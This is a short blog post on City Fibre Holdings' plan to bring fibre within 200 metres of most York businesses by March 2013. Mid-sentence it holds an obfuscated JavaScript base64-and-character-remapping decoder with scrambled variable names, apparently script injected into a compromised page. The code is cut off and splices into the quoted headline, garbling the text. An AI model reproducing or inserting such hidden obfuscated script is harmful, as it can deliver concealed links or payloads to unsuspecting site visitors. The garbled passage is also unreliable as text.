City Fibre Holdings in York

Ever since the official announcement earlier this year, I have been keeping my eyes peeled for more information on developments in York. An article in Thinkbroadband earlier this week summarized what we know about the plans so far: function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(">Fibre to within 200 metres of 80% of York businesses by March 2013. The title really says it all.

There have been some interrogations about City Fiber Holdings' plans going forward considering the history of the company they purchased the assets from (i3) and the relative silence that followed the purchase. Now with services having been launched in Bournemouth and the York project going forward the dynamic is become apparent again.

Considering CFH is currently the largest FTTH network in the UK despite their relatively small size, their development is going to be interesting to follow.